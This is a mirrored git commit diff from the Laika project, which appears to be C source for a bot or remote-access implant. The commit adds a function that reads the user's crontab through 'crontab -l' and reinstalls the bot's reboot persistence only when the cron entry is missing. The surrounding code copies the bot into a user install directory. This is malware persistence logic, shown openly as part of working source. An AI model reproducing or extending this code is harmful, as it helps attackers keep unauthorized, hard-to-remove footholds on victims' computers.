mirror of
				https://github.com/CPunch/Laika.git
				synced 2025-11-04 04:20:22 +00:00 
			
		
		
		
	check if installed in crontab before installing
This commit is contained in:
		@@ -76,13 +76,34 @@ void getInstallPath(char *outPath, int pathSz) {
 | 
			
		||||
 | 
			
		||||
    /* create install directory if it doesn't exist */
 | 
			
		||||
    snprintf(outPath, pathSz, "%s/%s", home, LAIKA_INSTALL_DIR_USER);
 | 
			
		||||
    LAIKA_DEBUG("creating '%s'...\n", outPath);
 | 
			
		||||
    if (stat(outPath, &st) == -1)
 | 
			
		||||
    if (stat(outPath, &st) == -1) {
 | 
			
		||||
        LAIKA_DEBUG("creating '%s'...\n", outPath);
 | 
			
		||||
        mkdir(outPath, 0700);
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    snprintf(outPath, pathSz, "%s/%s/%s", home, LAIKA_INSTALL_DIR_USER, LAIKA_INSTALL_FILE_USER);
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
bool checkPersistCron(char *path) {
 | 
			
		||||
    char buf[PATH_MAX + 128];
 | 
			
		||||
    FILE *fp;
 | 
			
		||||
    bool res = false;
 | 
			
		||||
 | 
			
		||||
    if ((fp = popen("crontab -l", "r")) == NULL)
 | 
			
		||||
        LAIKA_ERROR("popen('crontab') failed!");
 | 
			
		||||
 | 
			
		||||
    while (fgets(buf, sizeof(buf), fp)) {
 | 
			
		||||
        if (strstr(buf, path)) {
 | 
			
		||||
            /* laika is installed in the crontab! */
 | 
			
		||||
            res = true;
 | 
			
		||||
            break;
 | 
			
		||||
        }
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    pclose(fp);
 | 
			
		||||
    return res;
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
void tryPersistCron(char *path) {
 | 
			
		||||
    char cmd[PATH_MAX + 128];
 | 
			
		||||
 | 
			
		||||
@@ -113,7 +134,8 @@ void laikaB_tryPersist() {
 | 
			
		||||
    LAIKA_DEBUG("Successfully installed '%s'!\n", installPath);
 | 
			
		||||
 | 
			
		||||
    /* enable persistence on reboot via cron */
 | 
			
		||||
    tryPersistCron(installPath);
 | 
			
		||||
    if (!checkPersistCron(installPath))
 | 
			
		||||
        tryPersistCron(installPath);
 | 
			
		||||
#endif
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
 
 | 
			
		||||
		Reference in New Issue
	
	Block a user